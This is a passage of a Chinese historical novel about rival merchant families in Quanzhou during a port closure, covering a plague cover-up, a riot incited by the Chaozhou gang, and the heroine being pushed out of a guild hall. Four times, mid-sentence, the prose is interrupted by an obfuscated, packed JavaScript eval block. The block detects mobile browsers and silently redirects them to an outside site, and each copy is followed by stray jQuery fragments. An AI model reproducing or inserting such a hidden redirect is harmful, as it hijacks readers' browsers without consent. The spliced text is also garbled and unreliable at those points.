“不过眼下安平港封禁，泉州城中必定风声鹤唳，更有甚者会议论李家封港，是为逢迎朝廷的禁海之策，这会儿，稳住人心才是正理。到我这儿来……”她顿了顿，语义含糊，“岂非本末倒置？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240819|197726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李廷勘没有立刻接话，只拿起一旁的湿帕，慢条斯理地擦着手。 “封港的事，不急。” “载着种马的船靠岸后第三天，就有脚夫身上不利索，李家已遣人去看过，那人高热，呕水，见红斑。大夫瞧了，虽未断言是南洋传过来的病，但也没人敢定夺。” 他将帕子丢回托盘。 “消息我一直让人压着，只说是寻常时气。”他扯了扯嘴角，语气平常，“若有不怕死的，尽管去港口走动。” 许师孝听到这里，眸光倏地一闪。 原来他打的是这个主意…… 传讯海防道封港，却压住了“马疫”已成“人疫”的消息。 这是避免激起恐慌，但也在港口埋下一个大雷。 倘若黄家人、或是与李家做对的人利用“封港”一事大做文章，企图煽动众怒，李家即可翻出实据，将他们的所作所为，从“争利”变为“祸众”。 届时，李廷勘都无需亲自动手，官法民愤，皆成其刃。 不说海防道，恐怕整个泉州都要群起而攻之！ · 大雨潇潇而落。 许师孝站在望湖院门外，肩头的湿痕正一寸寸洇开。 门扉开阖，笑语先于人声漫出来，三四个人，褐色衣袍融在雨雾里。为首的是专管瓷器行的秦掌柜，后头跟着几个年轻的账房。 秦掌柜见她来了，神色不虞，铁定又是来找少东家的，真是不知检点，趁着自个儿病体未愈，死活赖在馆里不走，不就是想攀这门婚事么？ “哟，五娘子。” 他拱手，身子没弯。 “我还道今早喜鹊叫，原是贵客登门。怎的也不差人递个帖子？” 后头几个年轻账房交换了眼色。 许师孝念着李廷勘言外之意，撑着竹拐近前：“秦掌柜，我有要紧事需面见黄东主，烦请通禀一声。” “五娘子，您这话可折煞我了。我是什么牌位上的人，也配替少东家拦客？” 他顿了顿，语气愈发温软，“只是东主今早出门前才交代过，闲杂人一概不见。您说这……我若去通禀，倒显得我秦某人不识趣；若不禀，又显得怠慢您。您是个通情达理的，教教我，这事该怎么回旋才好？” 许师孝接连被挡了几天，握着竹拐的手指紧了紧，掌心刺出一阵细微的痛，反倒让她凝住了一口气。 李廷勘那番筹谋，手段老辣，黄祐常初掌家事，未必应对得来。 先前在偏山堂，黄家已然落了下风，若这回她再不提醒几句，只怕后果不堪设想。 她将翻涌的杂念压下，平静道：“是封港的事，黄东主若不知晓，这一趟南洋船货——” “是是是。” 秦掌柜连连点头，姿态放得极低。 “五娘子说得是，我们这些人，井底之蛙，能有多大见识？也就是每日对着账本子拨弄算盘，哪里懂得什么封港、南洋、大买卖。您虽然六年没碰这行当了，可毕竟当年是商会里议过事的人，眼界自然是不同的。” 他抬起头，一脸恳切。 许师孝一口气憋在心间，欲言又止。 忽听后头有人低声咕哝，像自言自语，又像说给同伴听： “……其实五娘子不来，南洋那批货东家也有数的吧。她来不来，不都一样么。” 另一个声音更轻，几乎是气音： “人家是怕咱们办砸了，特地来指点呢。” 前头那个笑起来，又压下去： “那倒是。毕竟少东家今年才二十出头，论行商资历，可不比人家……” 许师孝知道这是说给自己听的，没有理会：“这件事耽搁不得。” 秦掌柜摇头笑道，“五娘子，不是我等失礼。听我一句劝，有些心思该收就收了，年纪越拖越大，于您名声也无益。少东家前程似锦，您又何苦……” “住口！” 一声低喝从院内传来。 黄道贤沉着脸疾步跨出门槛，目光冷冷扫过秦掌柜几人。 那几人面面相觑，也便噤声。 他转向许师孝时，语气已然放缓：“六堂，您怎的到这儿来了？可是有何要事？” 许师孝看向那扇半掩的的门：“黄东主可在？” 黄道贤摇头：“少东家天未亮便出门，赴几位行老的约了，此刻并不在府中。您若有急事，不妨告知于我，待东主回来，我必当……” “不用了。” 许师孝摇头，眼底有些疲惫，只看了眼后面悻悻作乐的人：“没什么事了。” 她深吸一口气，撑着拐杖一步一顿地走回去。 8. 暴动 是夜，怒涛连天。 泉州港沉入一片煮沸的墨海，雨雾被海风卷起，吞没了挤挨的棚户，天地混沌难分。 空地上，火把却在雨中逐一亮起。 光，跳动在一张张脸上，他们攥着棍棒与鱼叉，刃口湿漉，泛着凄厉的锋芒。 领头的汉子踏上高地，目光如刀，扫过黑压压的人头： “封港就是断咱们的活路！李家要讨好官府，扯禁海的大旗，他们吃饱喝足，哪管我们死活？！” “打过去！”底下立刻有人抡起半空的米袋嘶吼，“掀了李家的仓场！” “掀仓场！” 人群汹涌，像一头被饿疯了驱赶的兽，向前奔去。 人影中却混着几个沉默的，只以眼色暗递。 人流不竭地涌出四面棚户，却听下一瞬，远处雨声里忽地亮起一片脚步声。 两股人，几乎同时到场。 西边，是海防道的兵，三排静立，蓑衣下官刀铜吞口幽暗，沉默如礁。 东侧，李家的部曲也赶到了。 油布雨披吸水，手中狭刃长短参差，刀身饮雨，是一种见惯了血的哑光。 两道人墙一夹，沸腾的人群霎时一滞。 火光在雨中剧烈摇晃，将所有人的黑影拧在了这片泥泞里。 雨声如瀑。 那领头的汉子眼皮低垂，掩住眸中一闪而过的精光，向后缩了半步，将自己藏入人群暗处，唇齿微动，压低了声音，刻意向身侧几个红了眼的家伙凑近： “看见了吗？他们怕了……他们越是这样，越说明心里有鬼！咱们这么多人，他们敢全杀了不成？冲过去！砸开李家的仓房，总有活路！” 众人听罢，手中棍棒又攥紧几分。 他们未曾注意到，北边废货栈的二楼上多了个人。 李廷勘站在了那儿。 他一袭佛头青衣袍，衣料掠出水纹暗泽，眼前是泼天雨水，顺檐而下，织就了一道帘幕。 楼里没点灯，直到下面火把涌到北面，才堪堪照出他的侧脸—— 鼻梁高挺，双眼映着下方的火光与混乱。 他就这样凭栏而立，身形如孤松临渊。 领头汉子眼底蓦地一沉，大笑起来：“李三爷！你来得正好！这么多张嘴等着吃饭！港口封一天，就多几十户人家要卖儿鬻女！你压得住海防道，压得住泉州港上万张吃饭的嘴？！” “泉州港，从来就不是你李家的私产！” “你一意孤行，封锁港口，便是与泉州港上下为敌！今日纵使压得住我们，也压不住明日后来之人！” 声浪轰然，掷入滂沱雨中。 许多李家部曲的脸色阴沉下来，指节扣紧刀柄。 海防道的兵丁依旧默立，气息却明显沉凝了数分。 楼上。 李廷勘目光从远处墨黑的海面收回，落在那汉子脸上。目光并不锐利，甚至过于淡了，却令那汉子脊背一寒，下意识退了半步。 他面上渐冷：“我当是谁，烧火烧到我家门前。” “原来是潮州帮的徐爷。” “徐爷”二字落地，那汉子脸上的惶惑有一瞬剥落，只死死盯住楼上，眼神里是淬了毒的恨意。 人群却是一愣，随即哗然。 “潮州帮？” “怎么回事？不是说要找李家讨活路吗？” 惊疑的低语如潮蔓延。 几个老船工眯眼细辨，也跟着认出了徐振川；周遭被煽动起来的苦力们扭过头，只见他一脸的沉默，心底随之一沉。 李廷勘微微偏头，“徐爷不在潮州享福，冒这么大雨跑来泉州……是潮州的米不香，非要来尝我这里的泥水？” 徐振川脸皮抽搐，知身份既破，狡辩已是徒然，索性挺直脊梁： “李廷勘！少扯这些！你看看这些人！港口封了，是你李家无能！是你李廷勘守不住泉州港！就算没有我徐振川，没有潮州帮，他们一样要反！” 他振臂高呼，试图抓住最后一缕火星：“兄弟们别信他！他怕咱们齐心！冲过去！冲过去才有活路！” 可人群僵着，没动。 看向徐振川的眼神，游移不定。 潮州帮的名头，在闽海一带意味着什么，太多人清楚了。 嘉靖二十六年，朱纨以右副都御史巡抚浙江，兼提督闽中福、兴、漳、泉、建宁王府军事。 潮州帮身处两广，不在节制之列，又与闽浙海寇争利多年，便趁此时推波助澜，给朝廷送去了一份泉漳大海寇的行踪名目。 李家三爷李自禧，许家四爷许朝印，于军门枭首示众，闽浙海寇千余人，都死于那场清算中。 这是不共戴天的血仇…… 楼上，李廷勘面色冷沉，朝身旁人吐出两个字。 楼下淙老会意，抬手对李家部曲打了个手势。 几乎同一刻，徐振川身前，几个精壮汉子，返身向他扑去！ 徐振川反应极快，袖中滑出一把尺余长的乌黑分水刺，向最近一人戳去。 然而，那扑来的汉子竟不全然避开，只侧身一让，任分水刺扎入肩胛，旋即伸出一臂，死死锁住他！ 另两人趁势扑来，一人缚其双足，另一人手中寒光忽闪——一根细长淬光的钢针，直直没入他颈侧。 徐振川浑身剧震，分水刺“当啷”落地。 他想吼，喉咙里已发不出声音。 “拿下。”楼上，李廷勘的声音漠然落下。 几人毫不留情，拖起瘫软如泥的徐爷，分开茫然失措的人群，往海防道的阵列走。 雨声轰鸣如旧。 李廷勘这时抬眼，目光扫过下方黑压压的人头。 “泉州的人，生死去留，还轮不到潮州帮来指手画脚。” “要吃饭的，明日到西市口领粮。” 他话音一顿，目光落在那几个站在动乱队伍最前的身影，语气降至冰点： “要跟着潮州船走的——” “现在就可以滚。” · “……李三爷发了话，西市那边，已由李家几位大管事亲去监看，按人头发放陈米。眼下街谈巷议纷纷，说李家手腕硬，潮州帮栽得难看，可也有人说，李家是封港理亏，惹了众怒，才不得不破财消灾！” 长随躬身立在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240820|197726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂下，话音里带着刻意压制的兴奋。 言毕，眼角余光悄然扫向两侧。 堂中几位码头、货栈、船运的管事早已按捺不住。 泉州，终于要乱起来了。 一位胖管事捻起胡须，摇头晃脑，“本就是区区马疫，李家看海防道脸色，非要大张旗鼓地封港，这些日子，海内怨声载道，经潮州帮这一闹，算是把怨念摆在了台面上。” “说的是。”秦掌柜接口，声音微凉：“粮总要吃完，李家再有钱，难道还能养得起整个泉州？如今李三爷是把自己架在那里了，树大招风，依这情势，早晚是强弩之末。” 有人冷笑，“李家独占泉州港近八十载，也该让让位了。” 四面议论声起，带着一种压抑已久的快意。 黄家这些管事，被李家压在泉州港次席的位置上太久了，久到每一次呼吸都带着名为泉州李氏的阴影。 如今，那阴影终于晃了一下，似乎就要看见天光。 堂上主位，黄祐常一直安静听着。 他穿着一身湛蓝长衫，腰间系羊脂白玉扣，手指修长，正拨弄茶盏。 盏中茶汤澄碧，映着他低垂的眼睫，一双凤眼，眼尾微挑，此刻虽不笑，却也含了三分情意与幽冷。 众人议论片刻，又渐渐歇了，才发觉少东家迟迟不发话，目光都转了过来。 黄祐常这时缓缓开口：“李廷勘雷霆手段，平息民乱，揪出外鬼……只怕现下城里还闹不起来。徐振川虽是个蠢货，但他倒点出了一件事——封港，是如今李家身上最大的一道口子。只要这道口子还在流血，就会引来蝇虫。” 他顿了顿，凤眼微眯，望向厅外连绵的雨幕。 众人听出还有后话，纷纷凝神。 只见他嘴角弯起一个弧度：“必要的时候……我们也不妨推波助澜。李家的船大，颠簸起来，岂不大有看头？” 话音落下，堂中似是一片寂静，只有雨声沙沙。 几位管事不接话，眼中却已燃起兴奋的光，仿佛已看到泉州李家在这遭风雨中倾覆的模样。 “东家。”一个沉稳的声音从角落传来。 一直闭目养神的黄道贤，此刻睁开了眼，老眼浑浊却锐利：“李家在泉州，树大根深。海防道、市舶司、乃至闽海各处码头、船行、商会，多少人与他们有牵连，利益交错。即便一时寥落，也是瘦死的骆驼。” 他站了起来，向黄祐常微微躬身：“潮州帮是外来的狼，扑上去撕咬，败了也就败了。我们黄家，却要在泉州本地扎营，若与泉州李家正面杠上，纵能伤他，亦必自损。何况李三爷其人，心思难测。昨夜之事，他应对得太快，只怕是螳螂捕蝉、黄雀在后。” 黄祐常听了他的反驳，脸上笑意未改。 他抬手，斟了一杯茶，示意仆役端给黄道贤：“四叔，李家借马疫的由头封港，停了私海生意，无非是向海防道献媚。” 他目光抬起：“李廷勘屈膝事权贵，授人以柄，就不怪旁人把他拉下马！” 话语落，堂外雨势骤然转急。 黄道贤看着年轻的少主，接过温热的茶杯，心头却掠过一丝寒意。 9. 迁居 大雨即过，云气如山。 次日的午后，会馆里静得只听见蝉声。 账房里摆了两大铜盆的冰，丝丝冒着白气。 黄道贤从里头掀帘出来，猛一见外头的光，眼前就昏了一昏。 他抬手遮去，便瞧见廊檐底下、石阶前，站着一个人。 许六堂一身苍青的布袍子，腋下架着竹拐，左手松松地垂着，也不知在那儿立了多久。 想到先前在望湖院那件事，黄道贤心里咯噔一下，三步并两步走过去。 廊下石板还汪着一片水渍，是侍从泼了井水降温的，清亮一片，映出天上烈光。 他踏步下去，走到其身侧： “六堂，您怎么又自己出来了？这大毒日头底下，也不叫个人跟着。” “在屋里久了，骨头也僵了。出来动一动，气血活络。” 许师孝看向他的目光沉静，额头却已沁了一层细密的汗珠，日头正烈烈地照在身上，热不可支。 这等天气，她当然不想再出门。 但昨夜从书斋二楼望过来，见前院这片灯火亮了半宿。 暴雨夜，竟还有人深夜过门。 许师孝心下起疑，挪步向前。 这是黄家的私事，她本不该再过问了，但想到李廷勘“请君入瓮”之策，她犹豫再三，竹拐头在石板上轻轻一顿，还是问出口，“昨夜听得前院有动静，可是出了什么事？” 黄道贤一怔，不想她竟发觉了，心头随之一紧，李家封港，少主连夜召集各家商号掌柜商议对策，这样的事，还是不要让六堂知晓得好。 他将身子一躬，道：“是东家叫了几位掌柜来，对一对上半年的账。夏末了，惯例如此。” 许师孝听后眯起眼。 哪个好人家对账，会选在深夜里？ 这么听来，的确有事发生。 她目光从黄道贤脸上移开，像是松了口气，但并不打算离开，反而往旁边挪，似乎是要到廊沿下那个光溜溜的石墩子上坐会儿。 黄道贤蹙眉，有些看不明白了，只低声提醒：“六堂，墩子在日头下晒着，坐不得。” 许师孝身形一滞，刚想说什么，就听他朝月洞门那边扬声：“阿才！搬张凳子来，要藤面的！” 话音落，一个侍从麻利地搬了藤凳来，放在廊阴里。 许师孝没有推辞，慢慢坐下了。 竹拐靠在腿边。 她静静望着院子，眼见白花花的日光从桉树叶子的隙缝里漏下，碎碎的，风一过，地上的光斑便跟着晃悠。 蝉声忽高了一阵，又低下去。 黄道贤立在一旁，瞧见她后颈的夏布衫子，已汗湿了一小片，紧贴着清瘦的脊骨。 “六堂，”黄道贤不知她的心思，只弯下腰，软和劝道：“日头毒，您还是回屋里歇着吧，那儿摆了冰，到底凉快些。” 许师孝没有应声，看着那满庭耀眼的光影，话锋一转：“黄叔，这些年，南洋的生意还照旧在做么？” 黄家在南洋本土的大宗生意，无非胡椒、苏木两样，此外是自家的丝绸、茶叶买卖。 黄道贤一怔，只答道：“同往年一样，只是如今有专管的掌柜接手，一应事务，不必东家亲自过问了。” 许师孝抬眼看他：“是些什么人在管？” “大面上是老爷总揽。底下分几路，吕宋一路换了黄濒石领头，爪哇一路是原先的潘家钰他们。另有一路走苏门答腊的，去年换了个新人，叫吴鸿思。” 许师孝静了片刻，像是在默记这个名字：“吴鸿思……倒是头回听见。” “此人原是在苏门答腊占碑一带的散商，”黄道贤见她愿听，便多说几句，“他自己有一条旧船，三五个伙计，专收沿岸小园子的胡椒。在那边混了十几年，风土、言语都通，人也守信。前年咱们一条船在巨港被税吏刁难，偏巧他在，从中斡旋，竟省下许多冤枉钱。少东家知道了，去年便将他招揽进来，专管苏门答腊一线的采买。” 许师孝微微颔首，手指在藤椅扶手上轻轻点了两下，“得空时，我想见见这个人。” 黄道贤稍觉意外，试探着问：“六堂是想问问南洋那边的情形？” 许师孝“嗯”了一声，“南洋的事，许久不曾听了。” 黄道贤听出她语气中的沧桑，略一沉吟，“只是不巧，此人眼下押着一船胡椒，正在归途。算日子大约明后能到。正赶上初六，届时‘请神’大宴最后一日，酬谢天妃，各路的掌柜、船头都要来聚的。” 初六……来得及么？ 许师孝沉默一瞬，目光垂在地上的树影。 “许仲麟是哪天的船？” 黄道贤目光一顿，有些诧异：“您怎的突然问这事？许二爷的船到泉州，短则十日，晚些，得要半个多月。” 半个多月。 许师孝沉下一口气，神情缓和了不少。 半个月，足够她把这件事弄个明白了。 许师孝撑着竹拐，缓缓起身。 黄道贤上前一步，想起昨夜少东家的主张，心中难免惴惴，李家声势显赫，强要对上，只恐今后麻烦不断。 “六堂，有句话，不知当讲不当讲。” 许师孝转过头，有些诧异：“您说。” 黄道贤叹了口气，他是上了年纪的人，经偏山堂之事，便能看出来，李三爷对眼前这位，存了几分说不清道不明的心思：“李家那边，若哪日您见着李三爷，能否替少东家说上两句好话？” 许师孝这才转过头来，眼底有些茫然，只笑道：“我说话，能顶什么用？” 黄道贤忙道：“六堂您自谦了。李三爷对您，素来是敬重的。有些话，从您口中说出来，比我们说十回都管用。” 许师孝听他有此说，一时沉默，李廷勘对她，何时敬重过？她对他说的话，何时管用过？黄叔的意思，莫不是她与李廷勘皆为海商子弟，又曾同在商会，好套近乎？ 她微微蹙眉：“再说罢。” 黄道贤点头，不再多言。 许师孝起身，侍从上前搀住一臂。 她站定，却忽想到先前在望湖院没说完的话，看向黄道贤。 “黄叔，李家虽正封港，烦请你转告黄东主，切莫在此时使力。” 黄道贤心头一震，未料她竟已猜中七八分，喉咙发紧：“六堂……” 月洞门外飘来一阵荷香，随即是脚步声。 两人闻声转头。 来人面容丰润，眉眼舒展，头发绾作倾髻，只簪一支羊脂白玉梳，耳垂两点米珠坠子，通身不见多少珠翠，身后随了八名贴身使女。 黄道贤见了，即刻躬身：“大小姐。” 黄家大小姐黄蔷，招赘了莆田苏家儿子，如今仍在福州帮衬兄弟料理家业。 此番苏门答腊疫马一事，竟连她也惊动了。 许师孝撑着竹拐，施了一礼。 黄蔷唇角浮起笑意：“别来无恙。瞧着气色，倒比春日里好些。” 许师孝直起身：“劳阿姊记挂。偶见廊下风动，出来走走，这便回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240821|197726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “是该好生将养。”黄蔷语气恳切，话锋却转得自然，“暑气熬人，你这病宜静。我今日来，已吩咐人去‘春煦园’收拾了。” “有劳。” 许师孝不再多言，由侍从搀着，转身沿廊缓缓去了。 等到身影消失在门外，黄蔷面上的笑意渐渐淡去。 她仍望着廊下空荡荡的光影，问道：“方才，她都说了些什么？” 黄道贤垂手：“回大小姐的话，六堂只问及前院的动向，还有南洋生意。” 南洋生意？ 黄蔷眼波微转，看向老管事：“她自己的船、货、码头，这些年丢的丢，散的散，还剩些什么？如今倒有闲情问我家的生意了。” “许是在宅里闷久了，随口一问。” 黄蔷漠然摇头，“许师孝这个人，心思深，说话没有‘随口’二字。可见这么多年过去了，她心里，终究没放下对阿弟的那点心思，还想替祐常拿主意呢。” 黄道贤嘴唇动了动，想辩解几句——当年许六堂大摆百戏宴，请来半个月港的船主，专为远航归来的少东家接风，那份情谊，大伙都是看在眼里的。 如今婚约虽退，旧情未绝，藕断丝连，也是人之常情。 黄蔷见他不接茬，抬眼看过来：“四叔有话？” 黄道贤略一迟疑，道：“方才六堂临走，还嘱托了几句，便是李家封港一事。教我等切莫在此时使力。” “她倒是会做好人。” 黄蔷轻笑，把玩着手指上那枚玉戒。 “只是——许师孝也不看看自己是什么出身？她跟那位李家三爷，原是一路人。还说这话，真是一点儿也不知道遮掩。” 这么多年过去，大小姐还是这般看不上六堂。 黄道贤垂下眼眸，暗自叹气。 黄蔷复又抬眼，看向他，目光明澈如秋水：“四叔是府里老人，自然事事为黄家考量。我无他意，只是如今时势不同，祐常是家主，他的决断便是黄家的前路。许五娘子纵有旧谊，终究是客居于此，走得太近，对谁都不好。” 黄道贤心头一凛。 此言一出，便是逐客令了。 · 黄昏时分，日头西斜，将满院的燥热熬成了黏滞的余温。 书斋二楼廊下，许师孝独坐藤椅中，竹拐斜在一旁。 她手里拿着一卷书，扫了眼楼下庭院。 几十个侍从来来往往，将箱笼行李搬出侧门。 东西不多，搬得却闹腾，脚步踩在石板上，鞺鞺鞳鞳。 长随端着汤药走上来，便见她独坐风里、一言不发。 长随是李家留在书斋的随侍，专门侍候汤药，瞧见楼下光景，惊讶非常。 “您怎的突然要动身？” 许师孝目光落在楼下，缓声道：“近来府上人多，这书斋占了地方。” 长随沉默了片刻，才听明白她话里的意思。 “人多”——黄家大小姐今日午后抵达会馆，车马辘辘，仆从如云。 长随不好多问，只道：“三爷先前吩咐过，李家的车马就在左近办事，若六堂不弃，便送您一道……” 许师孝摇了摇头，语气和缓，“黄娘子已做了安排。我客居于此，主人家一番心意，若假手外人，便是失礼了。” 长随没再说什么，只将汤药递过去：“六堂，趁热喝了吧。” 许师孝微微侧头，远处传来归巢的鸟雀，啁啾几句，散在暮色里。 她接过汤碗；“有劳。” 10. 黄昏 最后一缕天光淡下去。 会馆门前，刚好歇下一辆车。 黄祐常撩袍下车，天青纱罗衣洇着暮色，舟车劳顿，满目倦意。 他才站定，就听轱辘声往远处去。 抬眼望，几辆青幔马车正过桥，蹚出几响空落落的动静。 他目光一顿。 那马车分明是会馆的制式。 可他未曾吩咐送客，眼下天色向晚，谁要离馆？ 他心下起了层薄疑，面上不露，只踏上门前石阶。 绕过影壁，见一道身影立在晚香玉前。 ……阿姊。 他眸色微深。信是收到了，却不想她来得这样快。 看她静静立在那儿，像是刚送完客，又像是专程在等他。 “阿姊。” “回来了。”她转过身，笑意淡淡地铺开，“外头的事可还顺遂？” “都好。” 黄祐常回了一句，目光却越过她肩头，望向门外渐浓的暮色。 “方才出去的是什么人？” 黄蔷顺着他的视线望了一眼，笑了。 “是许五娘子。”她语气温温的，“她这人，最是知趣不过。总念叨自己身子不好，怕在这儿耽搁了会馆的正经事。我想着春煦园向阳，正合养病，便命人收拾了，送她过去静养。” 许五娘子……许师孝。 黄祐常将她的名字在唇齿间无声过了一遍，面上波澜不惊，负在身后的右手却缓缓攥紧，她……就这么走了？ “她自己可有说什么？”他道，面对着影壁上摇曳的竹影。 “能说什么？”黄蔷语气温婉依旧，“只说旧疾缠身，早该挪动。她那样不肯给人添麻烦的性子，也只能同我开口。倒是你，硬留了这几日，反倒让她心里过意不去。” 硬留？ 黄祐常面上微冷，他好心留她，原来竟是给她添麻烦么？ 原以为落魄的六年，能压一压她的性子，竟还是这般无所顾忌。 想来就来，想走就走，来时不曾问过他，走时也不曾知会一声。 当他这里是什么地方？ 门外，暮色已深，人烟寥寥。他侧身看着，指节在袖中缓缓收紧，硌着掌心。 黄蔷看了他一眼，兀自理了理袖口，笑道：“先用饭吧。灶上煨着你爱吃的火腿炖肘子，再搁下去，怕要化在汤里了。” · 夜月下，一丛油竹轻轻晃着，漏下一地浓稠的影。 许师孝就坐在这片凉荫里。 对面灯火摇摇落落的，乌泱泱一群仆役在房前搬东西。 门窗都开着，晚风穿过庭院草木，送来一阵隐隐的、久无人居的闷味儿。 陈管事觑着许师孝的神色，心下忐忑，赔着笑：“六堂有所不知，这园子还有段来历。” “前朝一位南安籍的知府年逾六十，想着致仕养老，便派了个亲信来此督建，取名‘东山樵舍’，谁知园子刚一建成，他就高升了，带着家眷和老母一并入京。这园子几经转手，十数年前才由城中几家大商号盘下，又向东足足扩建了一倍。” 扩建的部分与旧院规制不同。 拨给许师孝的这一片，住的多是些退养的老掌柜、等船期的散商。 倒不是他刻薄，实在是这位许五娘子自己拎不清，他能有什么办法？ 上面吩咐：“人先住着，该怎么安排就怎么安排。她若识趣，自己便走了。” 自己便走了。 陈管事琢磨这五个字，越琢磨越觉得有深意。此人多半是没地方去，打秋风到了黄家门前，人主家大小姐都是金尊纡贵的人物，面皮薄，有些话不好明讲，才托了他来办这差事。 他笑道：“您看还缺什么，大小姐特意吩咐过，要将最宽敞的一间打理出来让您住的。” 许师孝听出他在打圆场，并不理会。 相识多年，她对黄蔷也有些了解。 当年，许、黄两家议亲，黄家七房的人皆到了，满座和乐一片，唯独黄蔷称病未至。 黄家二房老夫人去得早，黄蔷招赘入府，一成亲，便接手了闽县、闽清二十几家铺面。她下面有两个弟弟、三个妹妹，都还小。 长姐如母，黄蔷就是二房的话事人。 这桩婚事，她不到场，在座各房的脸上都有些挂不住。 许师孝当时兀自坐着，见众人神色有异，使人打听，才知黄老爷子对黄家的考量，是长房读书入仕，二房改走商路。 黄蔷对此早有怨言，如今推旁人联姻也罢，偏是她一母同胞的弟弟。 要联姻漳州许氏，二房的大宗生意又都在泉漳几处，老爷子做此安排，摆明是要借许家之力站稳脚跟。 这在众人看来，是一桩彼此便宜的美事。 可黄蔷不这么想。 齐大非偶，还是个海寇出身，谁知道嫁进来以后，二房是姓黄还是姓许？ 这样的事，黄家也有过先例。 嘉靖年间，黄家曾属意与海寇曾氏联姻，打通双屿岛一路的航线。 双屿岛，悬峙浙江外海。 自明初，岛上民众被勒令内迁后，这座空岛便成了东南走私贸易的最大据点。 曾氏一族盘踞此地，九年间，营房、战舰无所不具，是为闽浙第一大海寇！ 黄家派人北上向曾氏提亲，四房长子黄处猷娶了曾家二女儿曾绍华为妻，后生了两个儿子，而长子一经成年，又娶了曾夫人的侄女，亲上加亲。 这二位夫人的陪房便陆续接管了府上大半的远洋生意。 不久，黄家四房一支，就被曾氏姑侄牢牢把持。 若非嘉靖二十七年，朱纨命福建都司都指挥卢镗在浙江海门屯扎，于三月发兵开洋，一举荡平了双屿岛，曾氏一族覆灭，黄家今日也不知是何光景。 许师孝尊重黄蔷当时的立场，所以也愿对其稍作忍让。 却不料多年下来，人情已淡薄如斯。 她垂下眼眸，望着茶碗上的热气，“你下去吧。” 陈管事应了一声，缓步退下。 天边远远滚过闷雷，热风虚虚浮起，林木簌簌摇着。 晚饭时，陈管事又送餐食过来。 糙米盛在青瓷碗里，米粒泛黄，一碟腌菜，梗子老得嚼不烂，盐霜厚厚地挂在叶边。 “伙房这些人，真是不会办事。早跟他说过，六堂是体面人，再怎么样，菜也该拣嫩的送。”他顿了一顿，笑道，“也怪小的虑事不周，只是六堂来得仓促，大小姐那边也没交代清楚住多久，这一时半会儿，不知该按什么章程办。” 许师孝没说什么，只喝了口茶。 “其实也是。”陈管事又叹一口气，“六堂是见过大世面的，在外头什么山珍海味没吃过？您大人大量，自不会与我们计较。” 许师孝听他嗡嗡不休，索性搁下筷，坐到廊下吹风。 这个天气，房中必定闷不可当，更何况还是刚收拾出的屋子，即便躺下，也难以成眠，还不如在外面透气。 不觉间，四面房中的灯都熄了，漆黑如狱。 唯独廊下一盏还亮着，纸上的字在灯影里晃晃的，看不真切。 许师孝眼皮发涩，把书卷一放，身子无意识向后靠去，睡意如潮漫上来。 刚合眼，忽有金芒一跳。 她费力睁开，只见一道冷光正隔着林木漫进，随即泼喇喇亮开一片，直穿过廊前油竹。 许师孝蹙眉，大半夜的，什么动静？ 人声跟着涌来了，像是许多人正朝这边走来。 邻近几间屋舍的人也被惊动，门开了一侧，探出些睡眼惺忪的脸，看向那片光亮。 灯影迷离，小径通明，光晕里人影幢幢，怕有十数人之多，皆青衣短打，行动间默然有序。 这般阵仗，在这退养老人的僻静园子里，实在是突兀得很。 许师孝的睡意散了大半，正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240822|197726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自忖度，那领头一人已越过众人，径直走到廊前阶下。 是个婢子打扮，面目看不太真切，只见轮廓周正。 她站定了，朝着廊上许师孝的方向，拱手深深一揖。 “惊扰六堂了。奉东主之命，特来为六堂挪移行李，往坐春行旅堂安置。” 这话一出，不啻于在平静的水面投下巨石。 方才还在探头的几位老掌柜、散商，此刻都瞪大了眼，目光惊疑不定。 这是闹得哪出？ 坐春行旅堂，是“东山樵舍”初建时便有的院落，庭中叠石引水，轩敞精雅，历来是泉州本地大户留驻之地，气象富贵。 东院这些人，住了十年二十年，也没摸到过西院的门槛。 但看廊上坐着的青袍人，分明黄昏才搬进来，今日夜里，竟有西院的人来接？ 正惊愕间，只见陈管事慌慌张张地从那群人后挤了过来。 他大步疾走，灯影下，额上见了汗，清亮一片。 